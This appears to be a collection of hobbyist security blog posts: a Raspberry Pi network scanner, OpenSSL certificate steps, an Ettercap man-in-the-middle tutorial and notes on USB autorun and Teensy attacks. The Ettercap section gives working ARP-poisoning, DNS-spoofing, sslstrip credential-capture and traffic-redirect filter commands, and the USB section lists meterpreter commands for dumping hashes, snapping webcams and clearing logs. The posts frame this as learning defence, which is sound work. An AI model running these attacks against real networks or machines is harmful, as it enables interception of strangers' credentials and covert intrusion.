My Ultimate Network Monitor/Enumeration Tool – Putting It All Together

Finally, all the parts come together. Look at my previous posts for all the pieces to building the LilDevil network monitor and enumeration tool.

The LilDevil

So this tool I created sits on a Raspberry Pi. Its purpose is to monitor and enumerate all devices currently connected to a network. In this case, it sits on my Guest network. Tomato Shibby is running on my router and I used its web interface to setup the network, along with limiting access. For all guests jointing this network, they are warned by the router’s splash page that tools such as this will be running. Its a free network and they really can’t expect anything different going on. In this case, its not malicious, but it is good practice to be wary of guest networks.

To be less suspicious, the hostname of the Raspberry Pi is RainbowDash 😉 This amuses me so much, the perfect disguise! If I saw a device named LilDevil running on a guest network I would be totally alarmed. I also themed the Pi accordingly, see the below screenshot. The coloring isn’t perfect, I blame VNC.

RainbowDash

The Pi runs a Django Restful server that stores mmap scan information about detected machines on the network. The Python 2.7 scripts for this are here. I had to make a few versions in order for things to work on Django 1.6.

In views.py, change

encoded = json.loads(request.raw_post_data)

to

encoded = json.loads(request.body)

Also, I had to make some changes in dirtBag.py, in order to get the ping sweep to work appropriate.

Change MIN and MAX to an integer instead of a string.

MIN="0"
MAX="12"

to

MIN=0
MAX=12

Here is a copy of the new main function.

def main():
    global results
    while 1:
        new = ""
        for x in range(MIN,MAX):
            new = new + commands.getoutput("ping -c 1 -t 1 "+PREFIX+"."+str(x) + " | grep 'from'") #Ping sweep the network to find connected devices
        tmp = re.findall(PREFIX+".(d+)", str(new)) #Pull out IP addresses from the ping results
        if tmp != results:
            for ip in tmp:
                if ip not in results:
                    gotcha = commands.getoutput('nmap -v -A -Pn '+PREFIX+'.'+ip)
                    sendDevice(gotcha)
            for r in results:
                if r not in tmp:
                    removeDevice(PREFIX+'.'+r)
            results = tmp

The information is up to date on all devices currently connected. It may be nice in the future to include a log of all scans but for now, I’m really only interested in connected machines.

Data is then displayed in a visible GUI. The below screenshot shows the tool windows along with the GUI. Currently, no devices were connected to the network.

Screen Shot 2014-01-17 at 9.27.49 PM

 

Ahhh it detected a device… in this case, itself.

Screen Shot 2014-01-19 at 7.58.55 PM

There you have it! A portable network enumeration tool. There are so many versions of this everywhere, but this is just something I coded up for fun. I plan to add to the Pi later for kicks.

Stop the MitM Attacks! Use Encryption!

So I’ve been having fun with Amazon’s Developer Services for user authentication. In order to get the darn thing working, Amazon requires your server to use HTTPS. This isn’t a bad thing but in order to have HTTPS, you need to get a valid certificate. Now it’s easy to create a certificate (see below) however, not as easy to get a trusted certificate. Trusted certificates are those that are authenticated by a Certificate Authority or CA. I wouldn’t really trust a self-authenticated certificate. Reminds me of online dating where everyone lies, you kind of want a third party, reliable source to tell you the truth.

lafawnduh

Here is the process to create a certificate request or CSR:

The below uses Openssl (this is native on a lot of Linux distributions, IIS on Windows handles these things differently).

Generate a RSA encrypted private key

openssl genrsa –out gen.key 2048

Create a CSR for the key

openssl req –new –key gen.key –out key.csr

Answer all the questions, leave the password blank, it’s not needed.

To get it approved:

Self (Untrusted…lame)

Remove RSA passphrase, if you don’t, the server you are running will require it upon each request

openssl rsa -in gen.key -out server.key

Generate a Year Long Certificate

openssl x509 -req -days 365 -in key.csr -signkey server.key -out key.crt

Trusted

Take it to a company such as Verisign, Thawte and RapidSSL.

Wrap it Up

You now have a certificate that can be included in your server configuration. Check your documentation for the correct implementation. There are too many server variations out there for me to describe the process.

So why do we care about HTTPS?

Well it’s secure! HTTPS stands for Hypertext Transfer Protocol Secure and utilizes SSL/TLS protocol to lockdown communications. It is used to prevent man-in-the-middle attacks with the use of encryption (preventing some of the attacks in the ettercap post). If your data is encrypted, little hacker man can’t read it. This is why whenever you are entering in confidential information, look for “https://” in the URL, else your private data is being broadcasted in clear text (there was an ettercap attack mentioned in my last post that removed the security from a Facebook form, changing the login URL from HTTPS to HTTP… be warned).

Explanation of the SSL/TLS process:

  1. Client browses to a secure site (HTTPS)
  2. Hosting server sends its certificate and public key to requesting client
  3. The client’s browser checks the server’s certificate (Looks to see if it comes from a trusted CA, relates to the correct sire, and is currently valid) – This is why you should pay attention to browser warnings, it may be trying to prevent you from going to an untrusted site.
  4. The browser uses the public key to encrypt a random symmetric encryption key and sends it to the server
  5. The server decrypts the key using its private key, the following communication between hosts is encrypted with the symmetric key
  6. Once communications have concluded, the symmetric key is discarded

The Public Key is available to anyone and anything that wants it. Anyone can retrieve it from the server. That’s all fine and dandy. The Private Key, on the other hand, is kept a secret and only the owner knows it. These keys are mathematically related, whatever is encrypted with a Public Key can only be decrypted by its corresponding Private Key. So even though a hacker can get the Public Key, he/she cannot decrypted the SSL/TLS communications because they do not have the Private Key.

So here is an example of how it all works. Jack wants to send a secret message to Jill, he doesn’t want anyone else to read the message. So Jack,encrypts his message with Jill’s Public Key. Jill is cool with giving out her Public Key to anyone who wants it because it is after all public. Jill is the only person who can decrypt the Public Key because she is the only one with its corresponding Private Key. So now Jack’s message can only be read by Jill. Even if hacker Todd gets a hold of the encrypted data, he can’t read it because he doesn’t have the decryption or Private key.

Crazy security…

Ettercap Man-in-the-Middle Fun!

Ethernet is a broadcast system. Messages sent over Ethernet from any one computer are broadcasted allowing other computers in the network to view and potentially intercept information. This vulnerability is what allows hackers to sniff packets and perform Man-in-the-Middle attacks (an attack where a hacker manipulates packets between its source and destination). What’s worse is that companies spend a lot of effort to keep hackers out but not as much to prevent hacking from within a network. These link layer type of attacks are especially dangerous because of the lack of firewalls within a network.

One type of attack is known as ARP poisoning. ARP utilizes the fact that requests are broadcasted for an IP/MAC address resolution. In simplified terms, the resolution process consists of a device on a network  looking for a corresponding machine to a given address. It broadcasts ARP packets asking, who as this specific IP? The machine with that IP then responds, I do. A hacker can personally broadcast an ARP packet and poison all device stacks in the LAN, lying about its address and re-routing traffic. There isn’t any required authentication for ARP’s allowing this attack to be successful. The attacker can also reply to an ARP before the responding machines.

Other attacks/vulnerabilities performed on the link layer that take advantage of  broadcasts include:

  • CAM Table Exhaustion
  • ARP Spoofing
  • DHCP Starvation

Ettercap is an open-source tool used to perform man-in-the-middle attacks on a local area network. This tool will intercept packets coming between the user and gateway node, changing the content. I’ll go over just a few examples of the awesome crap it can do.

I do NOT advocate using this information malicious, it’s important to learn the attacks in order to protect against them!

ARP Sniffing

This attack monitors traffic. Hackers can ‘sniff’ or view incoming packets using this ettercap function. The screenshot below shows the ARP requests created when ettercap starts up.

Execution Command:

ettercap –TqM arp:remote /<Target IP Range>/ /<Gateway IP Range>/

Arp

DNS Hijacking

This attack will divert a machine to another DNS other than the one specified. Basically, the attack focuses on placing an entry into a computer’s DNS cache. This causes a DNS to map to an incorrect IP address. DNS hijacking exploits the lack of authentication DNS uses. If the server does not validate responses locally, an incorrect entry can be inserted.

First a device will make a request for a specific DNS entered by the user. The device will ask the DNS server for the resolved IP of a DNS. With the attack, the attacker answers instead of the DNS server. The requesting device will then cache the provided IP from the attacker to the DNS called for by the user. So instead of going to Google.com one can divert traffic to hack.com

Edit Configuration File:

  • Command:

vim /usr/local/share/ettercap/etter.dns (Location in Backtrack 5 R2)

  • Add entry:

<DNS> A <Directed IP>

Execution Command:

ettercap -TqP dns_spoof -M arp:remote /<Gateway IP Range>/ 
/<Target IP Range>/

SSL MitM

This attack intercepts SSL packets, instead of credentials being passed safely to a host, credentials are sent in clear-text to the attacker. This is especially villainous.

Change the ettercap configuration file:

  • Change
ec_uid = 0               # nobody is the default
ec_gid = 0                # nobody is the default
  • Uncomment # if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp 
--dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp 
--dport %port -j REDIRECT --to-port %rport"

Execution Commands:

  • Redirect requests on port 80:

sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j

REDIRECT –to-port 10000

  • Verify entry in table:

sudo iptables –list -t nat

  • Enable forwarding:

sudo echo “1” > /proc/sys/net/ipv4/ip_forward

  • Run Ettercap:

ettercap –TqM arp /<Gateway IP Range>/ /<Target IP Range>/

  • Run sslstrip to block and hide certificate:

python /pentest/web/sslstrip/sslstrip.py –a -k –f

I got you Facebook user
I got you Facebook user

Filters

Filters can be created to manipulate packets to perform a desired function. The below filter monitors all packets and if it finds TCP traffic on port 80 it will manipulate the data. The first part of the filter will commit the encoding to plaintext. The second part of the filter will then report that the requested page has changed destinations and divert the user to a new destination page. The example below diverts all web requests to 192.168.200.201. ARPs are required to be performed on a local domain.

Filter Script

if (ip.proto == TCP && tcp.dst == 80){
     if (search(DATA.data, "Accept-Encoding")){
          replace("Accept-Encoding", "Accept-Rubbish!");
          msg("Zapped!");
     }
}
if (ip.proto == TCP && tcp.src == 80){
replace("200 OK", "301 Moved Permanently
Location: http://192.168.200.201/
");
msg("redirect success\n");
}

Command to compile filter:

Etterfilter <Filter Text> -o <Compiled Filter>

Execution Command:

ettercap -Tq -F <Filter> -M arp:remote /<Target IP Range>/ 
/<Gateway IP Range>/

filter

Autorun Bypass

Cash machines raided with infected USB sticks” (BBC News).

I guess I’ve never focused long enough on an ATM machine to even consider USB ports. Just seems like a silly thing to put on one. They are hidden but we see how well that prevented hackers from cutting holes in the machine coverings. It took some time to finally catch these thieves despite them targeting the same machine several times… why? There are surveillance cameras. I guess it’s not suspicious to have a person attend to an ATM machine over the course of time it takes to cut a hole in the machine, upload malware from a USB and then patch the hole up again. Oh and in addition, the intruder needed to phone the head honcho in order to validate varying sequence controls. The gang had their own system of checks and balances. Back to the point, to me, anything longer than 2-3 minutes at an ATM is suspicious but I’m really not that patient.

I wonder how did the thieves test the malware they used to infect the ATM? Their software brought up a secret interface on the machine listing all forms of stored currency. The mastermind must have had quite the knowledge on ATMs. When I code up something, I have to test it like crazy in the environment. I guess if he discovered USB access, he could easily use an I/O device to enumerate the environment.

Disclaimer: Just because I discuss such matters does not mean I endorse or participate in such activity. It is important to understand weaknesses in order to know how to secure a device.

This got me thinking… what options are there to enumerate a system through I/O… There’s a lot of options. I guess it would be easy to get a USB and set a malicious script to automatically run on startup. To do this, create an autorun.inf script:

[AutoRun]
SHELLEXECUTE=<EXE TO RUN>

Problems with this, since Windows 7, Microsoft has automatically disabled autorun for USB devices… dang it.

No worries, introducing the Teensy!

Teensy, $20 on Adafruit

This fun device emulates a keyboard or mouse I/O device and bypasses normal USB restrictions and is compatible with most platforms including Windows, OS X and Linux. Metasploit even includes payload creation for the device. A good tutorial on how to accomplish this can be found here.

Metasploit

The tutorial shows how to open a line of communication or meterpreter session between a listening device and the teensy victim. Ownage! With this available, someone could pull down environmental variables such as:

  • OS version – sysinfo
  • User accounts – getuid
  • Hashes – hashdump
  • Network info – ipconfig
  • Running processes – ps
  • For extra fun, you can access and take a picture from the webcam with webcam_list and webcam_snap
  • Cover your tracks by clearing out the logs – clearev

With this information, one could enumerate the environment enough to understand its weaknesses and what further scripts/tools/steps can be used to hack the device.

End lessen, be aware of USB devices and easy port access. Have some legal fun!

Decrypting Files by Sound? Part 1

I found this paper recently that discuss how an RSA encryption key can be enumerated by sound. It was written by Adi Shamir, the co-inventor of the RSA algorithm (the ‘S’ in RSA), so the paper seems to be a little more legit than just someone’s paranoia. Basically, the idea is based off of the noises a computer makes when utilizing different levels of power. These noises consist of high-pitched tones that can be detected by the right equipment. Each task performed by a computer requires varying amounts of resources and power therefore a new unique set of tones for a process. So it seems possible that the noises resulting from a machine decrypting a key could be picked up and used to for enumeration.

This is definitely something I would love to test out! However, as of now I don’t have the right equipment but I don’t want to give up on the project yet. Instead, I’ll make baby steps. Encrypt something with RSA.

To be continued…